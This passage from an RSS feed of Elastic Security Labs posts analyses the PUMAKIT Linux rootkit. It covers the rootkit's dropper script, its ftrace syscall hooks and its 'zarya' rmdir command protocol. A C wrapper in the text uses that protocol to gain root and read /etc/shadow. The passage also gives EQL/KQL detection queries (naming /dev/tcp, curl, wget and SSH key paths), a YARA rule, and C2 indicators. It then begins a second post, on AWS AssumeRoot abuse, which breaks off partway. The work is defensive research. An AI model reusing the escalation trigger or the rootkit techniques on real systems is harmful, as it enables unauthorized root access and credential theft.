<p>Looking at the execution in Kibana, we can see that the program checks whether secure boot is enabled by querying <code>dmesg</code>. If the correct conditions are met, a shell script called <code>script.sh</code> is dropped in the <code>/tmp</code> directory and executed.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image6.png" alt="Execution flow of the bash script and rootkit loader starting from /dev/fd/4" title="Execution flow of the bash script and rootkit loader starting from /dev/fd/4" /></p> <p>This script contains logic for inspecting and processing files based on their compression formats.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image9.png" alt="The Bash script that is used to decompress the kernel image" title="The Bash script that is used to decompress the kernel image" /></p> <p>Here's what it does:</p> <ul> <li>The function <code>c()</code> inspects files using the <code>file</code> command to verify whether they are ELF binaries. If not, the function returns an error.</li> <li>The function <code>d()</code> attempts to decompress a given file using various utilities like <code>gunzip</code>, <code>unxz</code>, <code>bunzip2</code>, and others based on signatures of supported compression formats. It employs <code>grep</code> and <code>tail</code> to locate and extract specific compressed segments.</li> <li>The script attempts to locate and process a file (<code>$i</code>) into <code>/tmp/vmlinux</code>.</li> </ul> <p>After the execution of <code>/tmp/script.sh</code>, the file <code>/boot/vmlinuz-5.10.0-33-cloud-amd64</code> is used as input. The <code>tr</code> command is employed to locate gzip's magic numbers (<code>\037\213\010</code>). Subsequently, a portion of the file starting at the byte offset <code>+10957311</code> is extracted using <code>tail</code>, decompressed with <code>gunzip</code>, and saved as <code>/tmp/vmlinux</code>. The resulting file is then verified to determine if it is a valid ELF binary.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image4.png" alt="The process of determining that the decompressing has succeeded " title="The process of determining that the decompressing has succeeded " /></p> <p>This sequence is repeated multiple times until all entries within the script have been passed into function <code>d()</code>.</p> <pre><code>d '\037\213\010' xy gunzip d '\3757zXZ\000' abcde unxz d 'BZh' xy bunzip2 d '\135\0\0\0' xxx unlzma d '\211\114\132' xy 'lzop -d' d '\002!L\030' xxx 'lz4 -d' d '(\265/\375' xxx unzstd </code></pre> <p>This process is shown below.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image7.png" alt="" /></p> <p>After running through all of the items in the script, the <code>/tmp/vmlinux</code> and <code>/tmp/script.sh</code> files are deleted.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image3.png" alt="Deleting the script and unpacked kernel" title="Deleting the script and unpacked kernel" /></p> <p>The script's primary purpose is to verify whether specific conditions are satisfied and, if they are, to set up the environment for deploying the rootkit using a kernel object file.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image5.png" alt="Rootkit loader looking for symbol offsets" title="Rootkit loader looking for symbol offsets" /></p> <p>As shown in the image above, the loader looks for <code>__ksymtab</code> and <code>__kcrctab</code> symbols in the Linux Kernel file and stores the offsets.</p> <p>Several strings show that the rootkit developers refer to their rootkit as “PUMA" within the dropper. Based on the conditions, the program outputs messages such as:</p> <pre><code class="language-python">PUMA %s [+] PUMA is compatible [+] PUMA already loaded </code></pre> <p>Furthermore, the kernel object file contains a section named <code>.puma-config</code>, reinforcing the association with the rootkit.</p> <h3>Stage 3: LKM rootkit overview</h3> <p>In this section, we take a closer look at the kernel module to understand its underlying functionality. Specifically, we will examine its symbol lookup features, hooking mechanism, and the key syscalls it modifies to achieve its goals.</p> <h4>LKM rootkit overview: symbol lookup and hooking mechanism</h4> <p>The LKM rootkit's ability to manipulate system behavior begins with its use of the syscall table and its reliance on kallsyms_lookup_name() for symbol resolution. Unlike modern rootkits targeting kernel versions 5.7 and above, the rootkit does not use <code>kprobes</code>, indicating it is designed for older kernels.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image1.png" alt="Resolving a pointer to the sys_call_table using kallsyms_lookup_name" title="Resolving a pointer to the sys_call_table using kallsyms_lookup_name" /></p> <p>This choice is significant because, prior to kernel version 5.7, <code>kallsyms_lookup_name()</code> was exported and could be easily leveraged by modules, even those without proper licensing.</p> <p>In February 2020, kernel developers debated the unexporting of <code>kallsyms_lookup_name()</code> to prevent misuse by unauthorized or malicious modules. A common tactic involved adding a fake <code>MODULE_LICENSE("GPL")</code> declaration to circumvent licensing checks, allowing these modules to access non-exported kernel functions. The LKM rootkitdemonstrates this behavior, as evident from its strings:</p> <pre><code>name=audit license=GPL </code></pre> <p>This fraudulent use of the GPL license ensures the rootkit can call <code>kallsyms_lookup_name()</code> to resolve function addresses and manipulate kernel internals.</p> <p>In addition to its symbol resolution strategy, the kernel module employs the <code>ftrace()</code> hooking mechanism to establish its hooks. By leveraging <code>ftrace()</code>, the rootkit effectively intercepts syscalls and replaces their handlers with custom hooks.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image11.png" alt="The LKM rootkit leverages ftrace for hooking" title="The LKM rootkit leverages ftrace for hooking" /></p> <p>Evidence of this is e.g. the usage of <code>unregister_ftrace_function</code> and <code>ftrace_set_filter_ip</code> as shown in the snippet of code above.</p> <h4>LKM rootkit overview: hooked syscalls overview</h4> <p>We analyzed the rootkit's syscall hooking mechanism to understand the scope of PUMA's interference with system functionality. The following table summarizes the syscalls hooked by the rootkit, the corresponding hooked functions, and their potential purposes.</p> <p>By viewing the <code>cleanup_module()</code> function, we can see the <code>ftrace()</code> hooking mechanism being reverted by using the <code>unregister_ftrace_function()</code> function. This guarantees that the callback is no longer being called. Afterward, all syscalls are returned to point to the original syscall rather than the hooked syscall. This gives us a clean overview of all syscalls that were hooked.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image15.png" alt="Cleanup of all the hooked syscalls" title="Cleanup of all the hooked syscalls" /></p> <p>In the following sections, we will take a closer look at a few of the hooked syscalls.</p> <h4>LKM rootkit overview: rmdir_hook()</h4> <p>The <code>rmdir_hook()</code> in the kernel module plays a critical role in the rootkit’s functionality, enabling it to manipulate directory removal operations for concealment and control. This hook is not limited to merely intercepting <code>rmdir()</code> syscalls but extends its functionality to enforce privilege escalation and retrieve configuration details stored within specific directories.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image2.png" alt="Start of the rmdir hook code" title="Start of the rmdir hook code" /></p> <p>This hook has several checks in place. The hook expects the first characters to the <code>rmdir()</code> syscall to be <code>zarya</code>. If this condition is met, the hooked function checks the 6th character, which is the command that gets executed. Finally, the 8th character is checked, which can contain process arguments for the command that is being executed. The structure looks like: <code>zarya[char][command][char][argument]</code>. Any special character (or none) can be placed between <code>zarya</code> and the commands and arguments.</p> <p>As of the publication date, we have identified the following commands:</p> <table> <thead> <tr> <th>Command</th> <th>Purpose</th> </tr> </thead> <tbody> <tr> <td><code>zarya.c.0</code></td> <td>Retrieve the config</td> </tr> <tr> <td><code>zarya.t.0</code></td> <td>Test the working</td> </tr> <tr> <td><code>zarya.k.<pid></code></td> <td>Hide a PID</td> </tr> <tr> <td><code>zarya.v.0</code></td> <td>Get the running version</td> </tr> </tbody> </table> <p>Upon initialization of the rootkit, the <code>rmdir()</code> syscall hook is used to check whether the rootkit was loaded successfully. It does this by calling the <code>t</code> command.</p> <pre><code class="language-bash">ubuntu-rk:~$ rmdir test rmdir: failed to remove 'test': No such file or directory ubuntu-rk:~$ rmdir zarya.t ubuntu-rk:~$ </code></pre> <p>When using the <code>rmdir</code> command on a non-existent directory, an error message “No such file or directory” is returned. When using <code>rmdir</code> on <code>zarya.t</code>, no output is returned, indicating successful loading of the kernel module.</p> <p>A second command is <code>v</code>, which is used to get the version of the running rootkit.</p> <pre><code class="language-bash">ubuntu-rk:~$ rmdir zarya.v rmdir: failed to remove '240513': No such file or directory </code></pre> <p>Instead of <code>zarya.v</code> being added to the “failed to remove ‘<code>directory</code>’” error, the rootkit version <code>240513</code> is returned.</p> <p>A third command is <code>c</code>, which prints the configuration of the rootkit.</p> <pre><code class="language-bash">ubuntu-rk:~/testing$ ./dump_config "zarya.c" rmdir: failed to remove '': No such file or directory Buffer contents (hex dump): 7ffe9ae3a270 00 01 00 00 10 70 69 6e 67 5f 69 6e 74 65 72 76 .....ping_interv 7ffe9ae3a280 61 6c 5f 73 00 2c 01 00 00 10 73 65 73 73 69 6f al_s.,....sessio 7ffe9ae3a290 6e 5f 74 69 6d 65 6f 75 74 5f 73 00 04 00 00 00 n_timeout_s..... 7ffe9ae3a2a0 10 63 32 5f 74 69 6d 65 6f 75 74 5f 73 00 c0 a8 .c2_timeout_s... 7ffe9ae3a2b0 00 00 02 74 61 67 00 08 00 00 00 67 65 6e 65 72 ...tag.....gener 7ffe9ae3a2c0 69 63 00 02 73 5f 61 30 00 15 00 00 00 72 68 65 ic..s_a0.....rhe 7ffe9ae3a2d0 6c 2e 6f 70 73 65 63 75 72 69 74 79 31 2e 61 72 l.opsecurity1.ar 7ffe9ae3a2e0 74 00 02 73 5f 70 30 00 05 00 00 00 38 34 34 33 t..s_p0.....8443 7ffe9ae3a2f0 00 02 73 5f 63 30 00 04 00 00 00 74 6c 73 00 02 ..s_c0.....tls.. 7ffe9ae3a300 73 5f 61 31 00 14 00 00 00 73 65 63 2e 6f 70 73 s_a1.....sec.ops 7ffe9ae3a310 65 63 75 72 69 74 79 31 2e 61 72 74 00 02 73 5f ecurity1.art..s_ 7ffe9ae3a320 70 31 00 05 00 00 00 38 34 34 33 00 02 73 5f 63 p1.....8443..s_c 7ffe9ae3a330 31 00 04 00 00 00 74 6c 73 00 02 73 5f 61 32 00 1.....tls..s_a2. 7ffe9ae3a340 0e 00 00 00 38 39 2e 32 33 2e 31 31 33 2e 32 30 ....89.23.113.20 7ffe9ae3a350 34 00 02 73 5f 70 32 00 05 00 00 00 38 34 34 33 4..s_p2.....8443 7ffe9ae3a360 00 02 73 5f 63 32 00 04 00 00 00 74 6c 73 00 00 ..s_c2.....tls.. </code></pre> <p>Because the payload starts with null bytes, no output is returned when running <code>zarya.c</code> through a <code>rmdir</code> shell command. By writing a small C program that wraps the syscall and prints the hex/ASCII representation, we can see the configuration of the rootkit being returned.</p> <p>Instead of using the <code>kill()</code> syscall to get root privileges (like most rootkits do), the rootkit leverages the <code>rmdir()</code> syscall for this purpose as well. The rootkit uses the <code>prepare_creds</code> function to modify the credential-related IDs to 0 (root), and calls <code>commit_creds</code> on this modified structure to obtain root privileges within its current process.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image8.png" alt="Privilege escalation using prepare_creds and commit_creds" title="Privilege escalation using prepare_creds and commit_creds" /></p> <p>To trigger this function, we need to set the 6th character to <code>0</code>. The caveat for this hook is that it gives the caller process root privileges but does not maintain them. When executing <code>zarya.0</code>, nothing happens. However, when calling this hook with a C program and printing the current process’ privileges, we do get a result. A snippet of the wrapper code that is used is displayed below:</p> <pre><code class="language-c">[...] // Print the current PID, SID, and GID pid_t pid = getpid(); pid_t sid = getsid(0); // Passing 0 gets the SID of the calling process gid_t gid = getgid(); printf("Current PID: %d, SID: %d, GID: %d\n", pid, sid, gid); // Print all credential-related IDs uid_t ruid = getuid(); // Real user ID uid_t euid = geteuid(); // Effective user ID gid_t rgid = getgid(); // Real group ID gid_t egid = getegid(); // Effective group ID uid_t fsuid = setfsuid(-1); // Filesystem user ID gid_t fsgid = setfsgid(-1); // Filesystem group ID printf("Credentials: UID=%d, EUID=%d, GID=%d, EGID=%d, FSUID=%d, FSGID=%d\n", ruid, euid, rgid, egid, fsuid, fsgid); [...] </code></pre> <p>Executing the function, we can the following output:</p> <pre><code class="language-bash">ubuntu-rk:~/testing$ whoami;id ruben uid=1000(ruben) gid=1000(ruben) groups=1000(ruben),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd) ubuntu-rk:~/testing$ ./rmdir zarya.0 Received data: zarya.0 Current PID: 41838, SID: 35117, GID: 0 Credentials: UID=0, EUID=0, GID=0, EGID=0, FSUID=0, FSGID=0 </code></pre> <p>To leverage this hook, we wrote a small C wrapper script that executes the <code>rmdir zarya.0</code> command and checks whether it can now access the <code>/etc/shadow</code> file.</p> <pre><code class="language-c">#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/syscall.h> #include <errno.h> int main() { const char *directory = "zarya.0"; // Attempt to remove the directory if (syscall(SYS_rmdir, directory) == -1) { fprintf(stderr, "rmdir: failed to remove '%s': %s\n", directory, strerror(errno)); } else { printf("rmdir: successfully removed '%s'\n", directory); } // Execute the `id` command printf("\n--- Running 'id' command ---\n"); if (system("id") == -1) { perror("Failed to execute 'id'"); return 1; } // Display the contents of /etc/shadow printf("\n--- Displaying '/etc/shadow' ---\n"); if (system("cat /etc/shadow") == -1) { perror("Failed to execute 'cat /etc/shadow'"); return 1; } return 0; } </code></pre> <p>With success.</p> <pre><code class="language-bash">ubuntu-rk:~/testing$ ./get_root rmdir: successfully removed 'zarya.0' --- Running 'id' command --- uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd),1000(ruben) --- Displaying '/etc/shadow' --- root:*:19430:0:99999:7::: [...] </code></pre> <p>Although there are more commands available in the <code>rmdir()</code> function, we will, for now, move on to the next and may add them to a future publication.</p> <h4>LKM rootkit overview: getdents() and getdents64() hooks</h4> <p>The <code>getdents_hook()</code> and <code>getdents64_hook()</code> in the rootkit are responsible for manipulating directory listing syscalls to hide files and directories from users.</p> <p>The getdents() and getdents64() syscalls are used to read directory entries. The rootkit hooks these functions to filter out any entries that match specific criteria. Specifically, files and directories with the prefix zov_ are hidden from any user attempting to list the contents of a directory.</p> <p>For example:</p> <pre><code class="language-bash">ubuntu-rk:~/getdents_hook$ mkdir zov_hidden_dir ubuntu-rk:~/getdents_hook$ ls -lah total 8.0K drwxrwxr-x 3 ruben ruben 4.0K Dec 9 11:11 . drwxr-xr-x 11 ruben ruben 4.0K Dec 9 11:11 .. ubuntu-rk:~/getdents_hook$ echo "this file is now hidden" > zov_hidden_dir/zov_hidden_file ubuntu-rk:~/getdents_hook$ ls -lah zov_hidden_dir/ total 8.0K drwxrwxr-x 2 ruben ruben 4.0K Dec 9 11:11 . drwxrwxr-x 3 ruben ruben 4.0K Dec 9 11:11 .. ubuntu-rk:~/getdents_hook$ cat zov_hidden_dir/zov_hidden_file this file is now hidden </code></pre> <p>Here, the file <code>zov_hidden</code> can be accessed directly using its entire path. However, when running the <code>ls</code> command, it does not appear in the directory listing.</p> <h3>Stage 4: Kitsune SO overview</h3> <p>While digging deeper into the rootkit, another ELF file was identified within the kernel object file. After extracting this binary, we discovered this is the <code>/lib64/libs.so</code> file. Upon examination, we encountered several references to strings such as <code>Kitsune PID %ld</code>. This suggests that the SO is referred to as Kitsune by the developers. Kitsune may be responsible for certain behaviors observed in the rootkit. These references align with the broader context of how the rootkit manipulates user-space interactions via <code>LD_PRELOAD</code>.</p> <p>This SO file plays a role in achieving the persistence and stealth mechanisms central to this rootkit, and its integration within the attack chain demonstrates the sophistication of its design. We will now showcase how to detect and/or prevent each part of the attack chain.</p> <h2>PUMAKIT execution chain detection & prevention</h2> <p>This section will display different EQL/KQL rules and YARA signatures that can prevent and detect different parts of the PUMAKIT execution chain.</p> <h3>Stage 1: Cron</h3> <p>Upon execution of the dropper, an uncommon event is saved in syslog. The event states that a process has started with an executable stack. This is uncommon and interesting to watch:</p> <pre><code class="language-sysmon">[ 687.108154] process '/home/ruben_groenewoud/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f' started with executable stack </code></pre> <p>We can search for this through the following query:</p> <pre><code>host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message: "started with executable stack" </code></pre> <p>This message is stored in <code>/var/log/messages</code> or <code>/var/log/syslog</code>. We can detect this by reading syslog through <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-overview.html">Filebeat</a> or the Elastic agent <a href="https://www.elastic.co/guide/en/integrations/current/system.html">system integration</a>.</p> <h3>Stage 2: Memory-resident executables</h3> <p>We can see an unusual file descriptor execution right away. This can be detected through the following EQL query:</p> <pre><code class="language-sql">process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.executable like "/dev/fd/*" and not process.parent.command_line == "runc init" </code></pre> <p>This file descriptor will remain the parent of the dropper until the process ends, resulting in the execution of several files through this parent process as well:</p> <pre><code class="language-sql">file where host.os.type == "linux" and event.type == "creation" and process.executable like "/dev/fd/*" and file.path like ( "/boot/*", "/dev/shm/*", "/etc/cron.*/*", "/etc/init.d/*", "/var/run/*" "/etc/update-motd.d/*", "/tmp/*", "/var/log/*", "/var/tmp/*" ) </code></pre> <p>After <code>/tmp/script.sh</code> is dropped (detected through the queries above), we can detect its execution by querying for file attribute discovery and unarchiving activity:</p> <pre><code class="language-sql">process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and (process.parent.args like "/boot/*" or process.args like "/boot/*") and ( (process.name in ("file", "unlzma", "gunzip", "unxz", "bunzip2", "unzstd", "unzip", "tar")) or (process.name == "grep" and process.args == "ELF") or (process.name in ("lzop", "lz4") and process.args in ("-d", "--decode")) ) and not process.parent.name == "mkinitramfs" </code></pre> <p>The script continues to seek the memory of the Linux kernel image through the <code>tail</code> command. This can be detected, along with other memory-seeking tools, through the following query:</p> <pre><code class="language-sql">process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and (process.parent.args like "/boot/*" or process.args like "/boot/*") and ( (process.name == "tail" and (process.args like "-c*" or process.args == "--bytes")) or (process.name == "cmp" and process.args == "-i") or (process.name in ("hexdump", "xxd") and process.args == "-s") or (process.name == "dd" and process.args : ("skip*", "seek*")) ) </code></pre> <p>Once <code>/tmp/script.sh</code> is done executing, <code>/memfd:tgt (deleted)</code> and <code>/memfd:wpn (deleted)</code> are created. The <code>tgt</code> executable, which is the benign Cron executable, creates a <code>/run/crond.pid</code> file. This is nothing malicious but an artifact that can be detected through a simple query.</p> <pre><code class="language-sql">file where host.os.type == "linux" and event.type == "creation" and file.extension in ("lock", "pid") and file.path like ("/tmp/*", "/var/tmp/*", "/run/*", "/var/run/*", "/var/lock/*", "/dev/shm/*") and process.executable != null </code></pre> <p>The <code>wpn</code> executable will, if all conditions are met, load the LKMrootkit.</p> <h3>Stage 3: Rootkit kernel module</h3> <p>The loading of kernel module is detectable through Auditd Manager by applying the following configuration:</p> <pre><code>-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules -a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules </code></pre> <p>And using the following query:</p> <pre><code class="language-sql">driver where host.os.type == "linux" and event.action == "loaded-kernel-module" and auditd.data.syscall in ("init_module", "finit_module") </code></pre> <p>For more information on leveraging Auditd with Elastic Security to enhance your Linux detection engineering experience, check out our <a href="https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd">Linux detection engineering with Auditd</a> research published on the Elastic Security Labs site.</p> <p>Upon initialization, the LKM taints the kernel, as it is not signed.</p> <pre><code>audit: module verification failed: signature and/or required key missing - tainting kernel </code></pre> <p>We can detect this behavior through the following KQL query:</p> <pre><code>host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message:"module verification failed: signature and/or required key missing - tainting kernel" </code></pre> <p>Also, the LKM has faulty code, causing it to segfault several times. For example:</p> <pre><code>Dec 9 13:26:10 ubuntu-rk kernel: [14350.711419] cat[112653]: segfault at 8c ip 00007f70d596b63c sp 00007fff9be81360 error 4 Dec 9 13:26:10 ubuntu-rk kernel: [14350.711422] Code: 83 c4 20 48 89 d0 5b 5d 41 5c c3 48 8d 42 01 48 89 43 08 0f b6 02 41 88 44 2c ff eb c1 8b 7f 78 e9 25 5c 00 00 c3 41 54 55 53 <8b> 87 8c 00 00 00 48 89 fb 85 c0 79 1b e8 d7 00 00 00 48 89 df 89 </code></pre> <p>This can be detected through a simple KQL query that queries for segfaults in the <code>kern.log</code> file.</p> <pre><code>host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message:segfault </code></pre> <p>Once the kernel module is loaded, we can see traces of command execution through the <code>kthreadd</code> process. The rootkit creates new kernel threads to execute specific commands. For example, the rootkit executes the following commands at short intervals:</p> <pre><code class="language-bash">cat /dev/null truncate -s 0 /usr/share/zov_f/zov_latest </code></pre> <p>We can detect these and more potentially suspicious commands through a query such as the following:</p> <pre><code class="language-sql">process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "kthreadd" and ( process.executable like ("/tmp/*", "/var/tmp/*", "/dev/shm/*", "/var/www/*", "/bin/*", "/usr/bin/*", "/usr/local/bin/*") or process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "whoami", "curl", "wget", "id", "nohup", "setsid") or process.command_line like ( "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", "*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*autostart*", "*xxd *", "*/etc/shadow*" ) ) and not process.name == "dpkg" </code></pre> <p>We can also detect the rootkits’ method of elevating privileges by analyzing the <code>rmdir</code> command for unusual UID/GID changes.</p> <pre><code class="language-sql">process where host.os.type == "linux" and event.type == "change" and event.action in ("uid_change", "guid_change") and process.name == "rmdir" </code></pre> <p>Several other behavioral rules may also trigger, depending on the execution chain.</p> <h2>One YARA signature to rule them all</h2> <p>Elastic Security has created a <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Rootkit_Pumakit.yar">YARA signature</a> to identify PUMAKIT (the dropper (<code>cron</code>), the rootkit loader(<code>/memfd:wpn</code>), the LKM rootkit and the Kitsune shared object files. The signature is displayed below:</p> <pre><code class="language-YARA">rule Linux_Trojan_Pumakit { meta: author = "Elastic Security" creation_date = "2024-12-09" last_modified = "2024-12-09" os = "Linux" arch = "x86, arm64" threat_name = "Linux.Trojan.Pumakit" strings: $str1 = "PUMA %s" $str2 = "Kitsune PID %ld" $str3 = "/usr/share/zov_f" $str4 = "zarya" $str5 = ".puma-config" $str6 = "ping_interval_s" $str7 = "session_timeout_s" $str8 = "c2_timeout_s" $str9 = "LD_PRELOAD=/lib64/libs.so" $str10 = "kit_so_len" $str11 = "opsecurity1.art" $str12 = "89.23.113.204" condition: 4 of them } </code></pre> <h2>Observations</h2> <p>The following observables were discussed in this research.</p> <table> <thead> <tr> <th>Observable</th> <th>Type</th> <th>Name</th> <th>Reference</th> </tr> </thead> <tbody> <tr> <td><code>30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f</code></td> <td>SHA256</td> <td><code>cron</code></td> <td>PUMAKIT dropper</td> </tr> <tr> <td><code>cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe</code></td> <td>SHA256</td> <td><code>/memfd:wpn (deleted</code>)</td> <td>PUMAKIT loader</td> </tr> <tr> <td><code>934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136</code></td> <td>SHA256</td> <td><code>/memfd:tgt (deleted)</code></td> <td>Cron binary</td> </tr> <tr> <td><code>8ef63f9333104ab293eef5f34701669322f1c07c0e44973d688be39c94986e27</code></td> <td>SHA256</td> <td><code>libs.so</code></td> <td>Kitsune shared object reference</td> </tr> <tr> <td><code>8ad422f5f3d0409747ab1ac6a0919b1fa8d83c3da43564a685ae4044d0a0ea03</code></td> <td>SHA256</td> <td><code>some2.elf</code></td> <td>PUMAKIT variant</td> </tr> <tr> <td><code>bbf0fd636195d51fb5f21596d406b92f9e3d05cd85f7cd663221d7d3da8af804</code></td> <td>SHA256</td> <td><code>some1.so</code></td> <td>Kitsune shared object variant</td> </tr> <tr> <td><code>bc9193c2a8ee47801f5f44beae51ab37a652fda02cd32d01f8e88bb793172491</code></td> <td>SHA256</td> <td><code>puma.ko</code></td> <td>LKM rootkit</td> </tr> <tr> <td><code>1aab475fb8ad4a7f94a7aa2b17c769d6ae04b977d984c4e842a61fb12ea99f58</code></td> <td>SHA256</td> <td><code>kitsune.so</code></td> <td>Kitsune</td> </tr> <tr> <td><code>sec.opsecurity1[.]art</code></td> <td>domain-name</td> <td></td> <td>PUMAKIT C2 Server</td> </tr> <tr> <td><code>rhel.opsecurity1[.]art</code></td> <td>domain-name</td> <td></td> <td>PUMAKIT C2 Server</td> </tr> <tr> <td><code>89.23.113[.]204</code></td> <td>ipv4-addr</td> <td></td> <td>PUMAKIT C2 Server</td> </tr> </tbody> </table> <h2>Concluding Statement</h2> <p>PUMAKIT is a complex and stealthy threat that uses advanced techniques like syscall hooking, memory-resident execution, and unique privilege escalation methods. Its multi-architectural design highlights the growing sophistication of malware targeting Linux systems.</p> <p>Elastic Security Labs will continue to analyze PUMAKIT, monitor its behavior, and track any updates or new variants. By refining detection methods and sharing actionable insights, we aim to keep defenders one step ahead.</p> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/pumakit.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Exploring AWS STS AssumeRoot]]></title> <link>https://www.elastic.co/security-labs/exploring-aws-sts-assumeroot</link> <guid>exploring-aws-sts-assumeroot</guid> <pubDate>Tue, 10 Dec 2024 00:00:00 GMT</pubDate> <description><![CDATA[Explore AWS STS AssumeRoot, its risks, detection strategies, and practical scenarios to secure against privilege escalation and account compromise using Elastic's SIEM and CloudTrail data.]]></description> <content:encoded><![CDATA[<h2>Preamble</h2> <p>Welcome to another installment of AWS detection engineering with Elastic. This article will dive into the new AWS Security Token Service(STS) API operation, AssumeRoot, simulate some practical behavior in a sandbox AWS environment, and explore detection capabilities within Elastic’s SIEM.</p> <p>What to expect from this article:</p> <ul> <li>Basic insight into AWS STS web service</li> <li>Insight into STS’ AssumeRoot API operation</li> <li>Threat scenario using AssumeRoot with Terraform and Python code</li> <li>Detection and hunting opportunities for potential AssumeRoot abuse</li> </ul> <h2>Understanding AWS STS and the AssumeRoot API</h2> <p>AWS Security Token Service (STS) is a web service that enables users, accounts, and roles to request temporary, limited-privilege credentials. For IAM users, their accounts are typically registered in AWS Identity and Access Management (IAM), where either a login profile is attached for accessing the console or access keys, and secrets are created for programmatic use by services like Lambda, EC2, and others.</p> <p>While IAM credentials are persistent, <a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html#sts-regionalization"><strong>STS credentials</strong></a> are temporary. These credentials - comprising an access key, secret key, and session token - are granted upon request and are valid for a specific period. Requests are typically sent to the global <code>sts.amazonaws.com</code> endpoint, which responds with temporary credentials for a user or role. These credentials can then be used to access other AWS services on behalf of the specified user or role, as long as the action is explicitly allowed by the associated permission policy.</p> <p>This process is commonly known as assuming a role, executed via the <a href="https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html"><code>AssumeRole</code></a> API. It is frequently used in AWS environments and organizations for various scenarios. For example:</p> <ul> <li>An EC2 instance with an attached role will automatically use <code>AssumeRole</code> to retrieve temporary credentials for API requests.</li> <li>Similarly, Lambda functions often invoke <code>AssumeRole</code> to authenticate and perform their designated actions.</li> </ul> <p>Although <code>AssumeRole</code> is incredibly useful, it can pose a risk if roles are over-permissioned by the organization. Misconfigured policies with excessive permissions can allow adversaries to abuse these roles, especially in environments where the <a href="https://docs.aws.amazon.com/wellarchitected/latest/framework/sec_permissions_least_privileges.html">Principle of Least Privilege</a> (PoLP) is not strictly enforced. Note that the security risks associated with AssumeRole are typically attributed to misconfigurations or not following best security practices by organizations. These are not the result of AssumeRole or even AssumeRoot development decisions.</p> <h3>Introduction to AssumeRoot</h3> <p>AWS recently introduced the <code>AssumeRoot</code> API operation to STS. Similar to <code>AssumeRole</code>, it allows users to retrieve temporary credentials - but specifically for the <a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html">root user</a> of a member account in an AWS organization.</p> <h3>What Are Member Accounts?</h3> <p>In AWS, <a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_access.html">member accounts</a> are separate accounts within an organization that have their own IAM users, services, and roles. These accounts are distinct from the management account, but they still fall under the same organizational hierarchy. Each AWS organization is created with a unique root account tied to the email address used during its setup. Similarly, every member account requires a root user or email address at the time of its creation, effectively establishing its own root identity.</p> <h3>How Does AssumeRoot Work?</h3> <p>When a privileged user in the management account needs root-level privileges for a member account, they can use the <code>AssumeRoot</code> API to retrieve temporary credentials for the member account's root user. Unlike <code>AssumeRole</code>, where the target principal is a user ARN, the target principal for <code>AssumeRoot</code> is the member account ID itself. Additionally, a task policy ARN must be specified, which defines the specific permissions allowed with the temporary credentials.</p> <p>Here are the available task policy ARNs for <code>AssumeRoot</code>:</p> <ul> <li><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-IAMAuditRootUserCredentials">IAMAuditRootUserCredentials</a></li> <li><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-IAMCreateRootUserPassword">IAMCreateRootUserPassword</a></li> <li><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-IAMDeleteRootUserCredentials">IAMDeleteRootUserCredentials</a></li> <li><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-S3UnlockBucketPolicy">S3UnlockBucketPolicy</a></li> <li><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-SQSUnlockQueuePolicy">SQSUnlockQueuePolicy</a></li> </ul> <h3>Potential Abuse of Task Policies</h3> <p>While these predefined task policies limit what can be done with <code>AssumeRoot</code>, their scope can still be theoretically abused in the right circumstances. For example:</p> <ul> 